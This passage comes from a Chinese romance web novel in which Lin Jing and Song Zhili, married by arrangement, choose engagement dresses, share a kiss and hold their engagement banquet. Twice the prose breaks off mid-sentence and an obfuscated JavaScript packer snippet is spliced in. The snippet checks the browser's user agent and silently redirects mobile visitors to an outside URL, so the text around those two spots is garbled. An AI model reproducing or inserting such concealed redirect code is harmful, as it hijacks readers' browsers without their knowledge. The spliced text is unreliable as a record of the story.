林菁闻言仔细体会了下,腿是有点冷,只不过出来冻了许久习惯了,就给忘了。 “谢谢。” 她接过外套,将温热的外套披在腿上。 宋知礼在她身旁坐下。 林菁看向他,问:“你今天怎么在这儿?” 原以为,要在订婚宴上才能再度见到他。 “你秦阿姨打电话让我来的。” 林菁放下册子,很认真地看着他,眼里的燥意更甚,语气里有隐藏的焦急,她说:“你不用听她的话。” 如果可以,最好,也少见她。 宋知礼看出了林菁的小情绪,安抚她:“没听她话,是我想来看看你。” 看她?林菁错愕,忽的顿住。 她捋了两下头发,不敢再看宋知礼,转头看向宣传册。 哪知宋知礼挪了下位置,离她更近了些,非要凑过来与她一同看宣传册。 订婚是两个人的事情,宋知礼要看,林菁没法拦着。 宣传册的纸很厚,每页都只有一张模特图和几段小字介绍。 两个人,就像高中时一起看书的同桌。 林菁看完面前两页,抬眼看宋知礼,待宋知礼也微微直起脑袋,二人就会默契地一人翻页,一人压书。 林菁看多了后,觉得天底下所有礼服都长得差不多,逐渐没了耐心,想着随便挑件顺眼的红色的算了。 宋知礼抬眼,问:“没有喜欢的?” 这场婚事来的匆忙,订婚宴只来得及买现成的礼服,等办婚礼的时候,林菁的衣服一定要让工匠定制。 林菁随手指了几件,“这个,这个,还有这个,都行吧。” 没有特别喜欢的,也没有特别讨厌的。 接着,二人就坐等服务员拿衣服来。 二楼的门忽然被打开,是秦瑶又来了。 “菁菁,知礼,阿姨还没有跟你们讲订婚宴的流程,婚宴厅的布置风格也还没跟你们讲,这礼服啊得跟环境色系搭,才好看。” 订婚宴从两个月前就开始准备,当时林菁和宋知礼都还在学校,筹备订婚宴的事情被两家的人交给了秦瑶。 秦瑶大包大揽,独自决定好了一切,没让两个孩子操半点心。 林菁到现在都不知道婚宴厅布置成了什么样,秦瑶或许将这事当成了秘密。 跟着秦瑶一起上楼的,还有几位夫人,为表对长辈的尊敬,林菁站起身,起身时轻轻按了下宋知礼的腿,示意他别动。 “没事阿姨,我们已经挑好礼服了。” 秦瑶闻言点点头,表示同意。 她忽然叹了口气,向宋知礼和林菁走来,满脸哀愁。 “菁菁,知礼,这订婚宴的流程不复杂,一切从简,一定不让你们俩累着啊,就是……就是吧,这双方父母致辞环节……总不能省了吧。” 林菁感觉到身边坐着的宋知礼,身体有一瞬间的僵硬。 他幽深的目光直直盯着秦瑶,攥紧了拳头。 有的人,比他想象的更为不要脸。 秦瑶熟视无睹,眼眶里含了几滴热泪,继续说:“你们俩虽然都出生富贵,但是六亲缘浅,是可怜孩子,订婚宴那日,若是只有菁菁的父亲上台,不免让旁人看笑话。” 一旁的俞夫人心疼姐妹,替她抹去眼泪,也帮着说话,“菁菁,这些年,你秦阿姨待你不薄,也从未让你改口叫一声母亲,你生母早逝,这些年都是秦瑶辛苦养着你,如今你都要出嫁了,让秦阿姨与你父亲一同送送你,也符合情理吧。” 林菁被这番要挟堵得说不出话,胸膛剧烈起伏,呼吸短促,“你——” 她总算知道今天秦瑶的姐妹团是来做什么的了。 还特意叫上宋知礼,是嫌火上浇油没浇够吗? 林菁担心地看着一旁的宋知礼,他面上看不出有事,只有垂在一旁的手青筋暴起。 秦瑶盯着宋知礼,语气温柔,“知礼,还有……你父母……” 6. 第六章 宋知礼不等她说完,站起身,打断:“劳烦秦阿姨费心,我已经与林宋两家的爷爷说好了,订婚宴那日将由二老致辞。” 秦瑶狐疑,她怎么没听说过这件事。 订婚宴的一切主导权明明都掌控她一个人手里。 宋知礼冷冰冰地继续说:“对了,婚礼也是,还有婚礼的筹办就不麻烦秦阿姨了,我们自己来准备。” 正好,服务员此时将礼服拿了出来。 见这剑拔弩张的气氛,服务员有些畏缩,没敢说话。 林菁瞧见了那姑娘,对秦瑶那一群人说:“我先去试衣服了,阿姨们,先失陪。” 秦瑶笑得有些僵硬,但终究没再说什么。 林菁走时,遮掩着揪了下宋知礼的袖子,示意他与自己一起离开。 若是把宋知礼一个人扔在这老虎坑里,那也太没良心了。 宋知礼听话地跟她走了,独留那群妇人在原地。 俞夫人说:“新婚夫妻就是感情好,做什么都要腻在一起。” 仇妇人附和:“是啊,是啊,想当初我和我老公也是……” 话题就这么被岔开,她们继续其乐融融的下午茶时光。 服务员将三件礼服放在架子上后,林菁让她离开。 这些衣服的款式并不复杂,也不像婚纱有长长的拖尾,她自己就能穿上。 试衣间外的大房间内,只剩宋知礼与林菁两人,旁边的墙上是一面巨大的镜子,将这个房间视觉上变成两倍大。 林菁将他的黑色丝绒西服还给他,抱起一件礼服,与神色幽幽的宋知礼说:“你等我一会儿。” 她想快些挑完礼服,早点离开这里。 被禁锢在这个地方的宋知礼,肯定也并不快乐。 林菁抬脚往一个试衣间里走,她立马察觉到背后有跟着她的脚步声。 她掀开面前的白纱,转过身去,与宋知礼面对面讲道理。 “我要换衣服。” 宋知礼目光幽沉,不知道在想些什么,看向林菁的眼神中带着股侵略性,似乎根本没听见林菁说的话。 林菁抬起手,指了指背后的白皮沙发,拧着眉命令道:“坐回去。” 宋知礼不听,他伸出宽厚的手掌,拉住林菁的手,轻轻一用力,两个人都摔进了试衣间内。 林菁被宋知礼摁在了试衣间内靠墙的座椅上。 白色的纱帘合拢,里头光影绰绰。 林菁拿的礼服还抱在怀里,宋知礼将那条红裙子扯走,随便往后一扔,落在身后的衣架上。 林菁的两只手交叠,被宋知礼压在大腿上,动弹不得。 林菁额前几缕碎发因为二人的碰撞盖在脸上,她刚想问,你在做什么,就见宋知礼忽然笑了一下,接着毫不犹豫地亲了过来。 属于男性的气息扑面而来,柔软的唇碰撞,宋知礼一点点舔舐掉林菁的唇彩,舌尖相碰,唇齿缠绵。 林菁被吻的眩晕的,她下意识向后仰,却被宋知礼摁住后脑勺,退无可退。 林菁未扎起的碎发落在二人的鼻尖,有些痒意,缠绵缱绻。 在林菁快要窒息的时候,宋知礼终于放过她。 他使坏地轻咬了下她的下唇,接着松开了禁锢住林菁双臂的手,双手托在林菁的颈后,舔唇看她。 林菁被这突如其来的吻亲的七荤八素的,眼眶内因为缺氧氤氲出了水汽,显得水汪汪的,嘴巴上的口红被折腾地不成样子,只剩上嘴唇的一点点。 林菁咽了咽口水,推了下宋知礼,示意他放自己出去。 宋知礼纹丝不动。 林菁望向宋知礼的眼睛,那双眼睛里,因为听到某些话产生的阴郁已经消散,但好像依旧不太开心。 宋知礼的嘴上沾了林菁的口红,且涂的不太规整,蹭的下巴上都有红印。 林菁伸出手指,附上宋知礼的下颚轻轻抹去凌乱的红。 她摸到了宋知礼下巴上没有完全刮干净的胡渣,摸着有些痒。 高中时的宋知礼刮胡子吗,有胡子吗,她好像记不清了。 想到往事,她又开始愧疚,水盈盈的眼睛看着宋知礼,又低下了头,说:“对不起。” 宋知礼复又牵起林菁的手,在掌中捏着,他觉得林菁的手太冷,得捂一捂。 “我不想听你道歉。” “我说过了,从前的所有一笔勾销,”宋知礼再度强调。 林菁的手心传来暖意,宋知礼将自己的体温传递给她。 三年了,连林菁自己都还没放过自己,这真的能一笔勾销吗。 “不过……”宋知礼话锋一转,不知又想起了什么,林菁紧张地看着他,等待他的下文。 “你的吻技还是跟从前一样烂,”宋知礼面无表情地吐槽。 其他所有都一笔勾销,不包括这件事。 林菁被说的羞红了脸,抿着唇无助地看他。 宋知礼似乎根本不知道这句话有多么的调情暧昧,用手指缓慢替她梳理弄乱的头发。 过了良久,林菁才想出来呛他的话。 “那怪你。” 宋知礼拨弄她的头发,“怪我什么?” “怪你没教好,”林菁愤愤地说。 宋知礼被她可爱到了,笑出了声。 帘子外。 “宋先生,我给您拿了茶点和咖啡来,咦,宋先生呢?” 白纱帘外,服务员去而复返,给陪老婆试衣服的宋知礼送吃的。 林菁一把捂住了宋知礼还在笑的嘴,不许他出声。 林菁慌张地对外面的人说:“宋先生……宋先生他刚去洗手间了。” 服务员闻言说:“好的,那我就把茶饮放在茶几上了,祝二位生活愉快。” 待帘外的脚步声走远,林菁才松开捂住宋知礼的手。 宋知礼歪头看她:“我不能出现在这里吗?” 为什么不允许他说话,跟做贼似的。 林菁:“那……那两个人在一个试衣间,像话吗?” 简直伤风败俗,有伤风化。 宋知礼忍不住提醒:“可是我们结婚了。” 在同一间试衣间里算什么,在不久的将来他们还要躺一个被窝呢。 林菁不听他诡辩,伸手再次撩开白纱,请他出去。 宋知礼这次倒是听话。 没了旁人的打搅,林菁很快试完了三条裙子。 她实在没什么特别喜欢的,就每换一条都出来走一圈,给宋知礼看看,让宋知礼帮她选。 宋知礼觉得这三条裙子简直长得一模一样。 他实在给不出答复,只能说:“都买。” 他出了个馊主意,到订婚宴那日,投个骰子,来决定哪件衣服能得到新娘的青睐。 林菁还在镜子前面迟迟做不出决断,宋知礼就直接去了前台刷卡,将三条裙子都买了下来。 顺带,他去跟秦瑶他们打了个招呼,说林菁由他送回去。 再回到二楼,林菁已经换回了自己的衣服,穿着那件方领的紧身黑上衣和小短裙。 几个服务员正在收拾折叠那三套礼服,林菁不打算今天将礼服带回家,而是让店家直接送到举办订婚宴的地方。 林菁见宋知礼过来,跑了过去,忍不住怪他:“你真的很浪费。” 从前怎么没看出来宋少爷花钱这么大手大脚。 而且,有这买三件礼服的钱,不如给他自己换辆车。 林菁想到那辆破破烂烂的小车就觉得宋知礼真惨。 “没花多少钱,”宋知礼说,同时从旁边拿起林菁的大衣,给她披上。 林菁不要,“我不冷。” 宋知礼用自己的手背碰了碰她的手背温度,冰冰凉凉,像刚从雪堆里拿出来的。 他低着头继续给她系纽扣。 林菁不配合,挣扎着要从衣服里钻出来。 大衣系扣子就不好看了。 两个人沉默地斗争许久,终于双方均妥协了一点点。 林菁穿上了大衣,但是不系扣子。 与楼下的一群人寒暄告别,宋知礼将林菁带走。 门外,张叔靠在车门上等着。 见到林菁出来,就迎了上去。 “小姐,快上车吧,外头凉。夫人昨日说她一会儿还有事,我一会儿得先送夫人回去,再送小姐您。” 宋知礼轻轻揽住林菁的腰身,隔着大衣将她搂入自己怀中,“叔叔,我送菁菁回去就行。” 比起与秦瑶同坐一辆车,林菁更愿意坐宋知礼的小破车。 林菁朝张叔笑了笑,表示确实如此,然后跟着宋知礼走了。 宋知礼的车停得远些,林菁今日的穿着实在不适合在冷风中多走,为了节约时间,他的步子就走得快了些。 林菁合住自己的大衣,还是很有骨气的不扣扣子,穿着高跟鞋,在旁边哒哒哒地快走。 宋知礼停在一辆黑色迈巴赫的副驾旁,替林菁打开了车门。 林菁狐疑片刻,但因为太冷还是先上了车。 车子启动后,林菁问他:“换车了?” 宋知礼熟练地握着方向盘,看着后视镜,倒车与前车拉开距离后转向,接着继续行驶。 宋知礼摇头,“没有,这辆一直在我车库。” 只是他不常开。 林菁不语,躺在副驾的座位上,开始浮想联翩。 明明有其他车,为什么领结婚证那日特意挑了最旧的一辆来送她。 是不是,虽然他嘴上说着原谅自己,往事一笔勾销,但实际上仅仅只是顾念旧情,不想让她难堪罢了。 她确实对不起他,理应承担所有责任。 也是,不过是协议婚姻,能有几分真情在里头,他做的一切,也就是被迫的罢了。 可是,刚刚……他亲了她的。 林菁觉得心口堵得慌,不舒服,往离宋知礼远的方向挪了挪位置,看着窗外的景色,继续伤春悲秋。 宋知礼话还没说完,“领证那天,我的车在学校车位上被我舍友的车撞了,我当时着急,开了我另一个舍友的车出来。” 那辆车车头受损严重,好几个配件不好买,最近几日4S店打电话说修好了,他还没来得及去取。 林菁眨眨眼睛,“哦”了一声,坐直身体,不再歪向一边。 宋知礼那日没解释,是因为那是他与林菁时隔多年的第一次见面,他觉得不该说这些细枝末节的东西,有这个功夫描述他的几个舍友到底有多蠢,不如多问问林菁的近况。 但宋知礼最近忽然察觉到了林菁对自己的财产状况有些误解。 那日不接受他的黑卡,今日心疼他买三件礼服…… 他觉得,他与他舍友的撞车事故不再是一件无关紧要 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17275974|198242||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 地小事,需要与林菁解释一下。 另外,关于那天林菁让他少吸一点烟,他在纠结要不要解释。 他生怕一提起往事,林菁又陷入自责,再度沉溺。 没想到,林菁直接问了他:“那你抽烟吗?” 宋知礼沉默几秒后,还是决定坦白。 “之前抽过一段时间,后来戒了。” 至于为什么抽烟,林菁心知肚明。 “我两年多没再碰过烟了,而且我从不在车上吸烟,”宋知礼顺带给自己辩解几句,他比他舍友有素质多了。 “林菁,我没有你想的那么脆弱,过去这么久了,人总是得向前看的。” 林菁侧头看向他,淡淡地笑了笑,说“好”。 她也想早日放过自己。 宋知礼不想再提让林菁觉得不开心的事,就扯开了话题。 “你回哪?” 林菁答:“云璟府,认识位置吗?” 宋知礼松开方向盘,依旧看着路况,将放在一旁的手机递给林菁,示意她导航。 林菁接过手机解锁,她左右翻着手机桌面,寻找地图软件。 翻着的时候,无意识地就把他的所有桌面软件都看了个遍。 她点进导航软件,输入位置导航后,将手机重新放在置物框内。 宋知礼问她:“不住林家了?” 她摇摇头,“搬出来了,一个人住。” 宋知礼忽然想起什么,问她:“你什么时候有空,我们得买个房。” 林菁疑惑又惊讶:“为什么要买房?” 宋家人难道欺负他了吗?她有些担心。 宋知礼嘴里只吐出两个字,“婚房。” 林菁“啊”了一声,迟钝地点点头,赞同,“这确实得买。” 时不时的,她就会忘了,自己已经是个结了婚的女人。 这件事,需要宋知礼时常提醒。 林菁问他:“你住哪?” “在学校还有点事,暂时住学校,等过年了去我爷爷那儿。” 宋知礼这些天很忙,他从大三开始创业,创业的前期总是有各种各样的烦心事。 他爷爷宋震山有三个儿子,现如今家族产业依旧握在老爷子自己手中,未交给哪个儿子。 旁人都说,宋震山大约是对这三个儿子都不满意,准备隔辈继承,待孙辈长大后直接交给其中一个孙子。 宋知礼是宋震山的大儿子宋泽修的独子,如今在宋家同辈中他的年纪最大些,需要抓住优势,尽早让爷爷看见他的能力。 他的那几个堂弟,都对于继承人之位虎视眈眈。 车子驶入云璟府,林菁给他指路,车子停在了林菁楼下。 林菁准备下车,却听宋知礼说了声“等一下”。 林菁回头看他,他递过来一张银行卡,依旧是那天晚上的那张。 他说:“随便刷。” 你老公有的是钱。 林菁犹豫一下,还是接了卡。 宋知礼不缺钱,她也不差钱。 瘦死的骆驼比马大,两家的危机虽还未解决,但是维持他们的日常开支依旧不成问题。 在不影响他自己生活的情况下,他非要以丈夫的身份送她点什么,她接受起来也没什么负担。 “谢谢,”林菁从宋知礼的手里接过卡。 自己结了个婚,林菁才发现婚姻根本没有想象中的神圣。 婚姻的起点该从领证那刻算起,还是订婚宴席那刻,或是结婚宴席? 她觉得自己的婚姻缺了点什么,大约缺了点水到渠成的感情。 但没办法,这就是商业联姻的通病。 感情这件事,强求不得。 她忽然想起高中时的第一次月考,她进了年级前三十,班级第一。 陆羽薇和李霄何都觉得不可思议,盯着她的成绩条仔细观摩。 “菁菁,你是仙女吧?”陆羽薇对她同桌的感情从友情变成了单方面的崇拜或者说是膜拜。 第一次月考表彰大会,年级前三十需要上台领个奖状。 “林菁。” “到,”林菁举手回应拿着名单整队的老师。 “宋知礼。” “宋知礼同学在吗?” 林菁的背后传来脚步声,他停在林菁的背后,“在的,老师。” 林菁回过头,礼堂内,红色的灯光下,少年的白色校服变得斑斓,他的眉眼一如既往的锋利,却在低头看到她的那刻嘴角弯了弯。 “好巧,”宋知礼与她打招呼。 整队的老师还在旁边站着,林菁只悄悄看了他一眼,就转了回去。 她轻声与他打招呼,“你好。” 好巧,我们又见面了。 舞台上,灯光打得很亮,咔嚓一声,留下了北城四中高一年级第一次月考优秀学生合影。 也成了他们之间的第一张合照。 照片上,二人都站的靠边,手里拿着奖状,对着镜头,眉目间尽是少年的意气风发。 如果可以,希望时间永远停留在那一刻,让他们永远做无忧无虑的纯真少年。 记忆中的影子与如今车内驾驶座上的男人相重叠。 他学会了收敛锋芒,变得成熟稳重,同时也心事重重。 林菁将卡放进包里,与他道别。 “大后天见。” 7. 第七章 1月20日。 北城宋家与林家于天府酒店大宴宾客。 宋家的大少爷与林家小姐喜结连理,举行订婚仪式。 酒店门口,张灯结彩,大红的绸缎将酒店的招牌围得花团锦簇。 连路边的树上都贴了“喜”字,引得路过的行人纷纷侧目。 二楼休息室,林菁坐在化妆镜前。 造型师已经给林菁做好了发型,长发盘起,低低地梳成了一个丸子。 她穿了那日买的其中一件,一件红色旗袍,腰侧与肩下部分有金色的刺绣。 化妆师正在帮她上粉底。 秦瑶和林建华都在酒店门口迎宾,两家的老爷子都坐在宴会厅里,忙着与来宾寒暄。 名义上,这是宋知礼与林菁的订婚宴。 但实际上,这又是一次充满利益交换的商业交流。 来的人,表面上是来祝福一对新人,实际上呢,都为了自己的生意联络关系。 林菁本来觉得自己与宋知礼结婚证都领了,订婚宴这种东西可以直接免去。 后来一想,他们这种人家,最在乎这些虚礼。 孩子的生日宴、夫妻的婚礼……无一例外,都可以变成无聊的展示人脉和财力的场景。 宋知礼坐在她的背后,新郎的妆容简单,他仅简单打了个底加做了个发型。 他今天穿了件酒红色的西装,与林菁的旗袍很般配。 宋知礼的手机一响,收到一条消息。 他站起身,与林菁说:“我出去一趟。” 林菁正闭着眼睛,让化妆师画眼影,闻言点了点头。 屋内,仅剩下林菁与化妆师,还有个在一旁收拾的化妆师助理。 化妆师是个四十多岁的阿姨,她边给林菁画眼线,边说:“小姑娘,你看着好年轻啊。” 林菁心想,她大学都还没毕业,当然年轻。 化妆师又说:“你老公看着也年轻,是学校里谈的吧。” 林菁:“……算是吧。” 化妆师内心感慨,真是对好命人,看这订婚的排场就知道是门当户对的富贵人家,年纪轻轻又找到了年龄相仿的真爱,多让人羡慕。 今日,林菁的整体妆容是红调的,红色的眼影,淡淡的腮红,红棕调的口红。 整个人看着就很明媚,是新婚的模样。 她的手机时不时地亮一下,是她的大学宿舍群。 徐菲菲将苏城拍的照片都一股脑发在了群里,有宿舍三人的合照。 照片上,三个女大学生青春靓丽,面对镜头喜笑颜开。 林菁在群里发了几个表情包。 裴嘉乐见林菁在群里冒头,问她。 【菁菁,我们下午要去个寺庙,听说那里求姻缘很灵的,要不要帮你也求一个】 大学四年,追林菁的人不少。 有比较害羞的男生,会拐弯抹角通过林菁的室友来要林菁的联系方式。 可惜林菁似乎情窦未开,没一个喜欢的。 他们都说林菁挑剔,这样下去会孤独终老的,可以随便选个男的试着相处看。 林菁不愿意。 宿舍里的四个人里只有徐菲菲有男朋友。 徐菲菲经常在半夜给他们分享恋爱小技巧,可惜她的三个室友天资愚钝,没一个出师的。 现如今,她们已经转向玄学,希望佛祖观音给她们天降良缘。 放在以前,林菁或许会感激裴嘉乐的好意,去庙里也想着自己的桃花。 但现在不一样了,林菁结婚了。 再招桃花,那叫婚内出轨。 林菁在群里回答。 【不用,我不信这些的】 裴嘉乐发了个ok的表情,表示理解。 门外忽然传来对话声。 “菁菁是在这个休息室吗?”一道女声问。 “Idon''tknow.You''venevertakenmetomeetyourniece,honey.” 是个外国佬在回答。 林菁一下就猜出来了门外是谁。 她从高脚椅上跳下去,跑到门口,打开门。 门外站着一个与林菁相像的女人,还有个外国佬。 林菁扑到女人怀里,笑着亲切地喊她:“姨妈!” 面前的女人叫倪元元,是林菁的妈妈倪珊珊的姐姐,很多年前嫁到了国外,嫁给一个金发外国人。 这些年,她很少回国,所以林菁与她见面的次数并不多。 但是林菁很喜欢这个姨妈,她有自己的独特想法,很有个性,与林菁认识的其他人都不一样。 林菁与姨妈还有姨夫进了化妆间,化妆师和她的助理收拾地差不多了,说去外面逛一逛,就出了门。 姨妈握住林菁的手,爱惜地摸了摸林菁的脸蛋。 “收到你订婚的请帖,姨妈都不敢相信,我家菁菁还这么小,怎么就嫁人了。” 林家那群人,全是黑心肝的,定是看她家林菁小小年纪没了妈妈庇护,就逮着她欺负。 面前的女孩容貌秀丽,今日眉毛画成了两条远山眉,整个人气质出尘,有几分不沾人间烟火的感觉,温柔似水。 倪元元要与她说些心里话。 她拉着林菁的手,与她一同坐在旁边的椅子上。 “今日你订婚,是个大喜的日子,姨妈该多跟你说些吉利话的,但是我与你姨夫参加完你的订婚宴又要出国谈生意,你的结婚宴也不知道能不能回来,所以有的话姨妈想今日与你说。” 林菁看着姨妈,“您说。” “当年你妈妈非要嫁给林建华,你外公外婆是不同意的,觉得这种家庭水太深,一不小心就会陷在里面。” “你妈妈说,林建华与其他世家子弟不一样,他是学艺术的,会画画,心很干净。耐不住她软磨硬泡,外公外婆最终还是同意了。结果呢,年纪轻轻命都没了,”倪元元说着说着就有些怒意。 她断不允许林菁变成下一个倪珊珊。 她指了指旁边努力理解中文、看着有些呆的外国佬,说:“姨妈我也嫁给了一个商人,与你现在一样是因为联姻,这些年过得还算称心如意,你觉得这是为什么?” 林菁看着面前面色红润、保养得当的女人,还有旁边满心眼里都是她姨妈的外国人,说:“是因为姨夫很爱您,不像我爸,四处留情。” 倪元元敲了下她的头,恨铁不成钢,“跟你妈一样天真。” “菁菁,遇到一个全心全意都是你的男人的几率有多小你知道吗?有时候,人不能太固执地追求爱情,追求一心一意,那会把自己的心等死的。凡事都需要靠自己想得开,无论发生 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17275975|198242||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了什么,都要乐观。” “姨妈知道,你是个心气高的,只是有时候,不要太固执。” 林菁大约听懂了,点了点头。 姨妈的意思好像是男的都不可靠,该分手时就分手。 “姨妈你放心,虽然我现在结婚了,但我要是过得不开心,我会离婚的。” 一定不会走我妈的老路。 倪元元想了想:“也不一定要离婚。” 毕竟下一段婚姻也是个未知数。 林菁问:“那怎么做?” 倪元元朝林菁勾勾手指,示意她靠近一点。 她从小就雷厉风行,敢想敢做,而且这些年都在国外,思想比大部分人都开放。 她压低声音,“菁菁,若是你发现你的新丈夫不合格,你可以再找个男朋友啊,协议婚姻,协议婚姻,你知道什么叫协议婚姻吗?” 做个表面夫妻也是可以的。 林菁被她的话惊得瞪大了双眼,她惊恐地看着她姨妈。 这……这不太好吧,也不太对吧! 姨妈调皮地朝她wink一下。 外国佬还在一旁努力理解中文,却只听懂了几个名词。 “Igetit!youweretalkingaboutboyfriendandhusbandjustnow.” 姨妈揉了揉姨夫的头,夸他:“Sosmart——” …… 林菁还处在姨妈带给她的震撼中,又观摩了一场恩恩爱爱的小把戏。 那姨妈跟姨夫之间,是真心的吗? 她想不明白。 她这个人,道德底线非常高,很多别人觉得无所谓的事情,她都要纠结许久,更别提这种事了。 她不要这样。 她知道姨妈这么说是为了她好,怕她婚后太钻牛角尖,容易想不开。 但她对于这个提议接受无能。 是姨妈太先进,她太封建。 林菁被姨妈的话吓得久久无法回神。 碰巧这时,宋知礼回来了。 他从门外走进来,看到了林菁与一对年长夫妻。 外国佬很热情,笑嘻嘻地与宋知礼打招呼。 “Happywedding!” 宋知礼对林菁的亲缘关系一无所知,他回了句“Thankyou”,接着用眼神询问林菁,这是她的什么亲戚。 林菁收到了宋知礼求助的目光,站起身,介绍道:“这是我姨妈和姨夫,常年在国外。” 宋知礼倾身与坐着的倪元元还有一旁傻乐的外国人握手,“姨妈姨夫好,感谢你们百忙中参加我与菁菁的订婚宴。” 倪元元用长辈的心态打量了下面前的年轻男人,心道,长得不错,就是不知道对她家菁菁怎么样。 宋知礼来了,倪元元也不好再与林菁说那些歪理。 几人寒暄几句后,倪元元带着她老公走出了化妆间。 偌大的化妆间内,只剩宋知礼与林菁两人。 林菁还未从刚刚听到的心理学讲座中缓过来,看向宋知礼的眼神有些心虚。 宋知礼见她一双白洁修长的手垂在腹部,左手握住右手的几根手指,不知在纠结些什么。 她的手上依旧没戴任何首饰。 他问:“我送你的戒指呢?” 8. 第八章 林菁知道,他在问几个月前的那枚戒指。 她翻开自己的包,从里面拿出丝绒盒子。 那枚雪花戒指静静地躺在里面。 宋知礼拿起那枚戒指,对她说:“伸手。” 林菁疑惑,交换对戒不是要在大庭广众之下吗? 为什么要现在戴。 但还是听话地伸出了左手。 宋知礼顿了顿,捏着戒指,停下动作,“换只手。” 宋知礼握住林菁的右手,将戒指戴在了她右手的无名指上。 戒指的大小刚刚好,很适合林菁,像一朵绽开的花。 林菁忍不住小声提醒:“订婚戒指是戴在左手中指的。” 宋知礼握住林菁的手未放下,闻言笑着反问她一句:“我送的时候说这是订婚戒指了?” 这倒没有。 宋知礼松开林菁的手,说:“戴着玩,没什么特殊含义。” 林菁的手上有了第一件饰品,是宋知礼送的。 但宋知礼瞧着,林菁的手腕上依旧空落落的。 林菁其实有很多首饰,都是自己买的。 但结婚或是订婚当天的首饰应该是妈妈或者婆婆提前送的。 她没收到,就没戴。 宋知礼出去打了个电话,过了二十分钟,他重新走进化妆间,手里拿着个东西,用一块丝巾包着。 他又叫林菁伸出手。 林菁抬起右手。 宋知礼握紧她的五指,将一个金手镯套上。 林菁反应过来时,那个金手镯已经落在了她的手腕处。 林菁晃了晃手腕,惊讶地问:“你哪里拿的?” 秦瑶应该不会送自己这种贴身之物。 宋知礼:“看你没带首饰,让人在家里随便拿的。” 其实是他妈妈从前的东西,听说是奶奶在妈妈结婚的时候送给他妈妈的,他就拿过来了。 少女纤细的手腕上多了个金圈,宋知礼问她,“喜欢吗?” 这个手镯传了三代,款式有些老旧,没什么花样,没有现在的新款好看,他怕林菁不喜欢。 林菁点点头,古法做的金器色泽偏暗,没有抛光,她猜测这个镯子大约在宋知礼家里放了很久很久。 宋知礼愿意给她,她很高兴。 屋外来了人,催他们下楼,订婚仪式即将开始。 宋知礼朝林菁伸出胳膊,林菁顺势挽上。 楼下大厅,大红的喜字挂在他俩的名字旁。 旁边是香槟塔,各界的名流权贵端着酒杯与旁人社交,觥筹交错。 见主角登场,旁人纷纷将将红毯上的道路让出。 红底的订婚书放在红毯的尽头。 林菁与宋知礼带着微笑走上红毯,回应红毯两侧祝福的目光。 秦瑶与林建华也站在红墙的一侧,欣慰地为这对新人鼓掌祝福。 宋震山与林佑山两个老人各站在婚书的一边,精神抖擞地等待两个孙辈的到来。 望着热热闹闹的一大群人,林菁这才有了结婚的实感,更用力地揽住宋知礼的胳膊。 红墙之下,摆着订婚书的卷轴。 订婚书上用金色的笔写着: 两姓联姻,一堂缔约,良缘永结,匹配同称……此证,宋知礼,林菁。 宋知礼与林菁在名字下按上自己的手印,示以礼成。 酒店外,成片的礼炮响起,彩烟冲向高空,绚烂如画。 林家与宋家喜结连理,普城同庆。 众人见证下,宋知礼与林菁交换订婚戒指。 宋知礼给林菁戴戒指的时候,二人指尖相碰,有一丝痒,林菁能听到自己的心脏剧烈地跳动。 接着,是宋震山和林佑山两位家族话事人分别致辞。 宋知礼与林菁并肩站到了一旁。 二位老人先是感谢了在场各位百忙中参加小辈的订婚宴,后又说了一大堆场面话。 现场来了很多财经报的记者,一直开着闪光灯拍照。 林菁从下楼开始,就一直保持着最得体的微笑,维持到现在脸都有些笑僵了。 她偷偷看了眼站在她旁边的宋知礼,在她的印象里,宋知礼不是个很爱笑的人,对大部分人都冷淡。但此刻,他嘴唇勾起,眼神里有些得意,看起来很开心。 仪式的最后,宋知礼与林菁,和双方家人一起站上台,由北城市经济报记者为他们拍下一张合影。 照片上,林菁与宋知礼站正中央,穿着最显眼的服装,郎才女貌,佳偶天成。 接着,宴席开始。 二人匆匆吃了点甜品台上的小蛋糕,就跟着长辈挨桌敬酒。 男方的亲属席面,是宋知礼的二叔宋泽成带着他们去的。 林菁安静地跟在他们后面认人,与众人碰杯喝酒,认认面孔。 忽然,林菁察觉腰间的衣服被一把攥住。 她低头,看见有个很小的婴儿被人抱在怀里,伸手抓住了她腰间的盘扣,正看着她笑。 抱着孩子的女人正在低头吃东西,过了几秒才察觉。 “小宝,松手,”女人伸手使了个巧劲让小孩张开了手指。 那小孩长得白白嫩嫩的,不会说话,上牙膛刚长出两个白牙,大大的眼睛看着她笑。 女人向她道歉:“不好意思啊,新娘子。” 林菁的旗袍腰间被捏出了几道褶痕,她将衣服重新扯平整,笑着摇摇头,“没事。” 这一幕被这桌的人都看见了,一个年纪大的胖长辈来了话头,“这是个好兆头啊,新娘子很招孩子喜欢,知礼啊,这证也领了,订婚也订了,准备何时让宋老爷子抱上孙子?” 接着,那人又说了两句老一辈的调笑荤话。 一桌的人都哄堂大笑起来,气氛热闹。 林菁忍住心中的不适,维持笑意。 宋知礼却冷了面,将捏着的酒杯放在桌上,一改今日的和善面孔,回答他的这个远方亲戚:“伯父说笑了,菁菁还没嫁过来呢。再者,这是我们两个人的事,哪怕喝多了酒,伯父也最好别乱说话。” 二叔宋泽成用胳膊肘击了下宋知礼,示意他别在大喜的日子胡说八道。 “小孩子开玩笑,”宋泽成打圆场,“来,咱们跟新人一起喝一杯。” 那长辈讨个没趣,又忌惮宋家的权势,只能小声骂了一句,接着碰杯。 